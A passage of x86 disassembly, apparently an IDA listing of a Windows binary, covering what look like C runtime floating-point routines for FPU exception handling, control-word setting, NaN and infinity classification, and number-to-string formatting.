and ecx, 7 sub ecx, 0 jz short loc_4196A7 dec ecx jz short loc_41969E dec ecx jnz short loc_4196B0 and [esi], edx jmp short loc_4196B0 ; --------------------------------------------------------------------------- loc_41969E: ; CODE XREF: sub_419407+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_4196AE ; --------------------------------------------------------------------------- loc_4196A7: ; CODE XREF: sub_419407+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_4196AE: ; CODE XREF: sub_419407+29Ej mov [esi], ecx loc_4196B0: ; CODE XREF: sub_419407+291j ; sub_419407+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_419407 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4196BA proc near ; CODE XREF: sub_4192CA+10p ; .text:00419372p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_4196E5 test byte ptr [ebp+arg_8], bl jz short loc_4196E5 push ebx call sub_419BCB pop ecx and edi, 0FFFFFFF7h jmp loc_4198AF ; --------------------------------------------------------------------------- loc_4196E5: ; CODE XREF: sub_4196BA+15j ; sub_4196BA+1Aj test al, 4 jz short loc_4196FF test byte ptr [ebp+arg_8], 4 jz short loc_4196FF push 4 call sub_419BCB pop ecx and edi, 0FFFFFFFBh jmp loc_4198AF ; --------------------------------------------------------------------------- loc_4196FF: ; CODE XREF: sub_4196BA+2Dj ; sub_4196BA+33j test al, bl jz loc_4197D9 test byte ptr [ebp+arg_8], 8 jz loc_4197D9 push 8 call sub_419BCB pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_4197B1 cmp ecx, 400h jz short loc_419789 cmp ecx, 800h jz short loc_419761 cmp ecx, eax jnz loc_4197D1 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_4276F0 fld dbl_435BB8 fnstsw ax sahf ja short loc_419759 fchs loc_419759: ; CODE XREF: sub_4196BA+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_4197CF ; --------------------------------------------------------------------------- loc_419761: ; CODE XREF: sub_4196BA+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_4276F0 fnstsw ax sahf jbe short loc_419779 fld dbl_435BA8 jmp short loc_419781 ; --------------------------------------------------------------------------- loc_419779: ; CODE XREF: sub_4196BA+B5j fld dbl_435BB8 fchs loc_419781: ; CODE XREF: sub_4196BA+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_4197CF ; --------------------------------------------------------------------------- loc_419789: ; CODE XREF: sub_4196BA+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_4276F0 fnstsw ax sahf jbe short loc_4197A1 fld dbl_435BB8 jmp short loc_4197A9 ; --------------------------------------------------------------------------- loc_4197A1: ; CODE XREF: sub_4196BA+DDj fld dbl_435BA8 fchs loc_4197A9: ; CODE XREF: sub_4196BA+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_4197CF ; --------------------------------------------------------------------------- loc_4197B1: ; CODE XREF: sub_4196BA+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_4276F0 fld dbl_435BA8 fnstsw ax sahf ja short loc_4197C9 fchs loc_4197C9: ; CODE XREF: sub_4196BA+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_4197CF: ; CODE XREF: sub_4196BA+A5j ; sub_4196BA+CDj ... fstp qword ptr [ecx] loc_4197D1: ; CODE XREF: sub_4196BA+81j and edi, 0FFFFFFFEh jmp loc_4198AF ; --------------------------------------------------------------------------- loc_4197D9: ; CODE XREF: sub_4196BA+47j ; sub_4196BA+51j test al, 2 jz loc_4198AF test byte ptr [ebp+arg_8], 10h jz loc_4198AF push esi xor esi, esi test al, 10h jz short loc_4197F4 mov esi, ebx loc_4197F4: ; CODE XREF: sub_4196BA+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp ds:dbl_4276F0 fnstsw ax sahf jz loc_41989D fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_419ACA mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_41983F fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_419893 ; --------------------------------------------------------------------------- loc_41983F: ; CODE XREF: sub_4196BA+17Aj fld [ebp+var_C] fcomp ds:dbl_4276F0 fnstsw ax sahf jnb short loc_419851 mov edx, ebx jmp short loc_419853 ; --------------------------------------------------------------------------- loc_419851: ; CODE XREF: sub_4196BA+191j xor edx, edx loc_419853: ; CODE XREF: sub_4196BA+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_419887 sub eax, ecx loc_41986A: ; CODE XREF: sub_4196BA+1CBj test byte ptr [ebp+var_C], bl jz short loc_419875 test esi, esi jnz short loc_419875 mov esi, ebx loc_419875: ; CODE XREF: sub_4196BA+1B3j ; sub_4196BA+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_419881 or byte ptr [ebp+var_C+3], 80h loc_419881: ; CODE XREF: sub_4196BA+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_41986A loc_419887: ; CODE XREF: sub_4196BA+1ACj test edx, edx jz short loc_419893 fld [ebp+var_C] fchs fstp [ebp+var_C] loc_419893: ; CODE XREF: sub_4196BA+183j ; sub_4196BA+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_41989F ; --------------------------------------------------------------------------- loc_41989D: ; CODE XREF: sub_4196BA+14Ej mov esi, ebx loc_41989F: ; CODE XREF: sub_4196BA+1E1j test esi, esi pop esi jz short loc_4198AC push 10h call sub_419BCB pop ecx loc_4198AC: ; CODE XREF: sub_4196BA+1E8j and edi, 0FFFFFFFDh loc_4198AF: ; CODE XREF: sub_4196BA+26j ; sub_4196BA+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_4198C6 test byte ptr [ebp+arg_8], 20h jz short loc_4198C6 push 20h call sub_419BCB pop ecx and edi, 0FFFFFFEFh loc_4198C6: ; CODE XREF: sub_4196BA+1F9j ; sub_4196BA+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_4196BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4198D1(int,int,int,int,int,int,double,int) sub_4198D1 proc near ; CODE XREF: sub_419218+2Bp ; .text:004192A2p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_41997F test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_41993C mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_419BA8 lea eax, [ebp+var_20] push eax call sub_41DB4D add esp, 0Ch test eax, eax jnz short loc_419936 push esi call sub_419959 pop ecx loc_419936: ; CODE XREF: sub_4198D1+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_41993C: ; CODE XREF: sub_4198D1+14j push 0FFFFh push [ebp+arg_20] call sub_419BA8 push [ebp+arg_0] call sub_419959 fld [ebp+arg_18] add esp, 0Ch leave retn sub_4198D1 endp ; =============== S U B R O U T I N E ======================================= sub_419959 proc near ; CODE XREF: sub_4192CA+7Dp ; .text:004193ECp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_419974 jle short locret_41997E cmp eax, 3 jg short locret_41997E mov dword_4927F4, 22h retn ; --------------------------------------------------------------------------- loc_419974: ; CODE XREF: sub_419959+7j mov dword_4927F4, 21h locret_41997E: ; CODE XREF: sub_419959+9j ; sub_419959+Ej retn sub_419959 endp ; =============== S U B R O U T I N E ======================================= sub_41997F proc near ; CODE XREF: sub_4198D1+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_435AD0 loc_419986: ; CODE XREF: sub_41997F+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_41999C add eax, 8 inc ecx cmp eax, offset dbl_435BA8 jl short loc_419986 xor eax, eax retn ; --------------------------------------------------------------------------- loc_41999C: ; CODE XREF: sub_41997F+Dj mov eax, off_435AD4[ecx*8] retn sub_41997F endp ; =============== S U B R O U T I N E ======================================= sub_4199A4 proc near ; CODE XREF: sub_4192CA+41p ; .text:004193AFp arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_4199B0 push 5 jmp short loc_4199C6 ; --------------------------------------------------------------------------- loc_4199B0: ; CODE XREF: sub_4199A4+6j test al, 8 jz short loc_4199B8 push 1 jmp short loc_4199C6 ; --------------------------------------------------------------------------- loc_4199B8: ; CODE XREF: sub_4199A4+Ej test al, 4 jz short loc_4199C0 push 2 jmp short loc_4199C6 ; --------------------------------------------------------------------------- loc_4199C0: ; CODE XREF: sub_4199A4+16j test al, 1 jz short loc_4199C8 push 3 loc_4199C6: ; CODE XREF: sub_4199A4+Aj ; sub_4199A4+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_4199C8: ; CODE XREF: sub_4199A4+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_4199A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4199D1(double) sub_4199D1 proc near ; CODE XREF: sub_415D9B:loc_415E21p ; sub_415EF3:loc_415F79p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_4199D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4199E3(double,int) sub_4199E3 proc near ; CODE XREF: .text:00419A43p ; sub_419ACA+82p ... var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_4199E3 endp ; --------------------------------------------------------------------------- mov eax, [esp+0Ah] shr eax, 4 and ax, 7FFh sub eax, 3FEh movsx eax, ax retn ; --------------------------------------------------------------------------- mov eax, [esp+0Ah] mov ecx, [esp+0Ch] shr eax, 4 and ax, 7FFh movsx eax, ax fld qword ptr [esp+4] lea eax, [eax+ecx-3FEh] push eax push ecx push ecx fstp qword ptr [esp] call sub_4199E3 add esp, 0Ch retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+10h] mov ecx, [ebp+0Eh] fld qword ptr [ebp+8] shl eax, 4 fstp qword ptr [ebp-8] and cx, 800Fh or eax, ecx mov [ebp-2], ax fld qword ptr [ebp-8] leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A70 proc near ; CODE XREF: sub_415D9B+31p ; sub_415EF3+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_419A87 cmp [ebp+arg_0], edx jnz short loc_419A99 push 1 jmp short loc_419AC3 ; --------------------------------------------------------------------------- loc_419A87: ; CODE XREF: sub_419A70+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_419A99 cmp [ebp+arg_0], edx jnz short loc_419A99 push 2 jmp short loc_419AC3 ; --------------------------------------------------------------------------- loc_419A99: ; CODE XREF: sub_419A70+11j ; sub_419A70+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_419AAC push 3 jmp short loc_419AC3 ; --------------------------------------------------------------------------- loc_419AAC: ; CODE XREF: sub_419A70+36j cmp cx, 7FF0h jnz short loc_419AC6 test [ebp+arg_4], 7FFFFh jnz short loc_419AC1 cmp [ebp+arg_0], edx jz short loc_419AC6 loc_419AC1: ; CODE XREF: sub_419A70+4Aj push 4 loc_419AC3: ; CODE XREF: sub_419A70+15j ; sub_419A70+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_419AC6: ; CODE XREF: sub_419A70+41j ; sub_419A70+4Fj xor eax, eax pop ebp retn sub_419A70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419ACA(double,int) sub_419ACA proc near ; CODE XREF: sub_4196BA+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp ds:dbl_4276F0 push esi fnstsw ax sahf jnz short loc_419AEA fldz xor esi, esi fstp [ebp+var_8] jmp loc_419B80 ; --------------------------------------------------------------------------- loc_419AEA: ; CODE XREF: sub_419ACA+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_419B59 test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_419B02 cmp dword ptr [ebp+arg_0], ecx jz short loc_419B59 loc_419B02: ; CODE XREF: sub_419ACA+31j fld [ebp+arg_0] fcomp ds:dbl_4276F0 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_419B1A push 1 pop eax jmp short loc_419B1C ; --------------------------------------------------------------------------- loc_419B1A: ; CODE XREF: sub_419ACA+49j xor eax, eax loc_419B1C: ; CODE XREF: sub_419ACA+4Ej ; sub_419ACA+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_419B35 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_419B2F or dword ptr [ebp+arg_0+4], 1 loc_419B2F: ; CODE XREF: sub_419ACA+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_419B1C ; --------------------------------------------------------------------------- loc_419B35: ; CODE XREF: sub_419ACA+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_419B43 or byte ptr [ebp+arg_0+7], 80h loc_419B43: ; CODE XREF: sub_419ACA+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_4199E3 fstp [ebp+var_8] add esp, 0Ch jmp short loc_419B80 ; --------------------------------------------------------------------------- loc_419B59: ; CODE XREF: sub_419ACA+28j ; sub_419ACA+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_4199E3 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_419B80: ; CODE XREF: sub_419ACA+1Bj ; sub_419ACA+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_419ACA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B8B proc near ; CODE XREF: sub_419407+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_419B8B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B99 proc near ; CODE XREF: sub_419407+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_419B99 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419BA8 proc near ; CODE XREF: sub_415D9B+13p ; sub_415D9B+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_419BA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419BCB proc near ; CODE XREF: sub_4196BA+1Dp ; sub_4196BA+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_419BE2 fld tbyte_435BD0 fistp [ebp+arg_0] wait loc_419BE2: ; CODE XREF: sub_419BCB+Bj test cl, 8 jz short loc_419BF7 fstsw ax fld tbyte_435BD0 fstp [ebp+var_8] wait fstsw ax loc_419BF7: ; CODE XREF: sub_419BCB+1Aj test cl, 10h jz short loc_419C06 fld tbyte_435BDC fstp [ebp+var_8] wait loc_419C06: ; CODE XREF: sub_419BCB+2Fj test cl, 4 jz short loc_419C14 fldz fld1 fdivrp st(1), st fstp st wait loc_419C14: ; CODE XREF: sub_419BCB+3Ej test cl, 20h jz short locret_419C1F fldpi fstp [ebp+var_8] wait locret_419C1F: ; CODE XREF: sub_419BCB+4Cj leave retn sub_419BCB endp ; =============== S U B R O U T I N E ======================================= sub_419C21 proc near ; CODE XREF: sub_415E6A+Fp ; .text:0041DBCBp push 30000h push 10000h call sub_41DBAC pop ecx pop ecx retn sub_419C21 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419C33 proc near ; CODE XREF: sub_419C71:loc_419C95j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld ds:dbl_427700 fstp [ebp+var_8] fld ds:dbl_4276F8 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp ds:dbl_4275E0 fnstsw ax sahf jbe short loc_419C6D push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_419C6D: ; CODE XREF: sub_419C33+33j xor eax, eax leave retn sub_419C33 endp ; =============== S U B R O U T I N E ======================================= sub_419C71 proc near ; CODE XREF: sub_415E6A+5p push offset aKernel32 ; "KERNEL32" call ds:dword_4953A8 ; GetModuleHandleA test eax, eax jz short loc_419C95 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax call ds:dword_4953C4 ; GetProcAddress test eax, eax jz short loc_419C95 push 0 call eax ; sub_415E6A retn ; --------------------------------------------------------------------------- loc_419C95: ; CODE XREF: sub_419C71+Dj ; sub_419C71+1Dj jmp sub_419C33 sub_419C71 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_419C9A proc near ; CODE XREF: sub_41AAED+3CBp ; DATA XREF: sub_415E82+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_417C24 cmp eax, 65h pop ecx jz short loc_419CDA loc_419CAE: ; CODE XREF: sub_419C9A+3Ej inc esi cmp dword_435E38, 1 jle short loc_419CC7 movsx eax, byte ptr [esi] push 4 push eax call sub_41BDD1 pop ecx pop ecx jmp short loc_419CD6 ; --------------------------------------------------------------------------- loc_419CC7: ; CODE XREF: sub_419C9A+1Cj movsx eax, byte ptr [esi] mov ecx, off_435C2C mov al, [ecx+eax*2] and eax, 4 loc_419CD6: ; CODE XREF: sub_419C9A+2Bj test eax, eax jnz short loc_419CAE loc_419CDA: ; CODE XREF: sub_419C9A+12j mov cl, byte_435E3C mov al, [esi] mov [esi], cl inc esi loc_419CE5: ; CODE XREF: sub_419C9A+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_419CE5 pop esi retn sub_419C9A endp ; =============== S U B R O U T I N E ======================================= sub_419CF4 proc near ; CODE XREF: sub_41AAED+3E2p ; DATA XREF: sub_415E82+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_435E3C mov cl, [eax] test cl, cl jz short loc_419D10 loc_419D04: ; CODE XREF: sub_419CF4+1Aj cmp cl, dl jz short loc_419D10 mov cl, [eax+1] inc eax test cl, cl jnz short loc_419D04 loc_419D10: ; CODE XREF: sub_419CF4+Ej ; sub_419CF4+12j mov cl, [eax] inc eax test cl, cl jz short locret_419D41 loc_419D17: ; CODE XREF: sub_419CF4+34j mov cl, [eax] test cl, cl jz short loc_419D2A cmp cl, 65h jz short loc_419D2A cmp cl, 45h jz short loc_419D2A inc eax jmp short loc_419D17 ; --------------------------------------------------------------------------- loc_419D2A: ; CODE XREF: sub_419CF4+27j ; sub_419CF4+2Cj ... mov ecx, eax loc_419D2C: ; CODE XREF: sub_419CF4+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_419D2C cmp [eax], dl jnz short loc_419D37 dec eax loc_419D37: ; CODE XREF: sub_419CF4+40j ; sub_419CF4+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_419D37 locret_419D41: ; CODE XREF: sub_419CF4+21j retn sub_419CF4 endp ; =============== S U B R O U T I N E ======================================= sub_419D42 proc near ; DATA XREF: sub_415E82+28o ; .data:off_435BF8o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp ds:dbl_4276F0 fnstsw ax sahf jb short loc_419D57 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_419D57: ; CODE XREF: sub_419D42+Fj xor eax, eax retn sub_419D42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419D5A proc near ; CODE XREF: sub_41B320+430p ; DATA XREF: sub_415E82+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_419D83 lea eax, [ebp+var_8] push eax call sub_41E148 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_419D83: ; CODE XREF: sub_419D5A+Cj lea eax, [ebp+arg_8] push eax call sub_41E1A3 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_419D5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419D98 proc near ; CODE XREF: sub_41A015+17p ; sub_41A05F+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_492858, 0 push ebx push esi jz short loc_419DCD mov ebx, [ebp+arg_8] mov eax, dword_492854 xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_41A0B0 pop ecx pop ecx jmp short loc_419E05 ; --------------------------------------------------------------------------- loc_419DCD: ; CODE XREF: sub_419D98+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_41E247 mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_41E1D0 add esp, 14h loc_419E05: ; CODE XREF: sub_419D98+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_419E11 mov byte ptr [eax], 2Dh inc eax loc_419E11: ; CODE XREF: sub_419D98+73j test ebx, ebx jle short loc_419E29 mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_435E3C mov eax, edi pop edi mov [eax], cl loc_419E29: ; CODE XREF: sub_419D98+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_492858, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_4175D0 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_419E50 mov byte ptr [ecx], 45h loc_419E50: ; CODE XREF: sub_419D98+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_419E95 mov ebx, [esi+4] dec ebx jns short loc_419E64 neg ebx mov byte ptr [ecx], 2Dh loc_419E64: ; CODE XREF: sub_419D98+C5j inc ecx cmp ebx, 64h jl short loc_419E7B mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_419E7B: ; CODE XREF: sub_419D98+D0j inc ecx cmp ebx, 0Ah jl short loc_419E92 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_419E92: ; CODE XREF: sub_419D98+E7j add [ecx+1], bl loc_419E95: ; CODE XREF: sub_419D98+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_419D98 endp ; =============== S U B R O U T I N E ======================================= sub_419E9C proc near ; CODE XREF: sub_41A03C+13p ; sub_41A05F+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_492858, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_419ED7 mov eax, dword_49285C mov ebx, [esp+10h+arg_8] mov esi, dword_492854 cmp eax, ebx jnz short loc_419F07 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_419F07 ; --------------------------------------------------------------------------- loc_419ED7: ; CODE XREF: sub_419E9C+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_41E247 mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_41E1D0 add esp, 14h loc_419F07: ; CODE XREF: sub_419E9C+22j ; sub_419E9C+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_419F15 mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_419F15: ; CODE XREF: sub_419E9C+70j mov eax, [esi+4] test eax, eax jg short loc_419F2C push 1 push edi call sub_41A0B0 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_419F2E ; --------------------------------------------------------------------------- loc_419F2C: ; CODE XREF: sub_419E9C+7Ej add edi, eax loc_419F2E: ; CODE XREF: sub_419E9C+8Ej test ebx, ebx jle short loc_419F73 push 1 push edi call sub_41A0B0 mov al, byte_435E3C pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_419F73 cmp byte_492858, 0 jz short loc_419F58 neg esi jmp short loc_419F5E ; --------------------------------------------------------------------------- loc_419F58: ; CODE XREF: sub_419E9C+B6j neg esi cmp ebx, esi jl short loc_419F60 loc_419F5E: ; CODE XREF: sub_419E9C+BAj mov ebx, esi loc_419F60: ; CODE XREF: sub_419E9C+C0j push ebx push edi call sub_41A0B0 push ebx push 30h push edi call sub_415CA0 add esp, 14h loc_419F73: ; CODE XREF: sub_419E9C+94j ; sub_419E9C+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_419E9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419F7A proc near ; CODE XREF: sub_41A05F+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_41E247 mov dword_492854, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_49285C, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_41E1D0 mov eax, dword_492854 add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_49285C, ecx setl cl mov byte_492860, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_49285C, eax jl short loc_41A000 cmp eax, ebx jge short loc_41A000 test cl, cl jz short loc_419FF1 loc_419FE7: ; CODE XREF: sub_419F7A+72j mov al, [esi] inc esi test al, al jnz short loc_419FE7 and [esi-2], al loc_419FF1: ; CODE XREF: sub_419F7A+6Bj push ebx push [ebp+arg_4] push edi call sub_41A03C add esp, 0Ch jmp short loc_41A010 ; --------------------------------------------------------------------------- loc_41A000: ; CODE XREF: sub_419F7A+63j ; sub_419F7A+67j push [ebp+arg_C] push 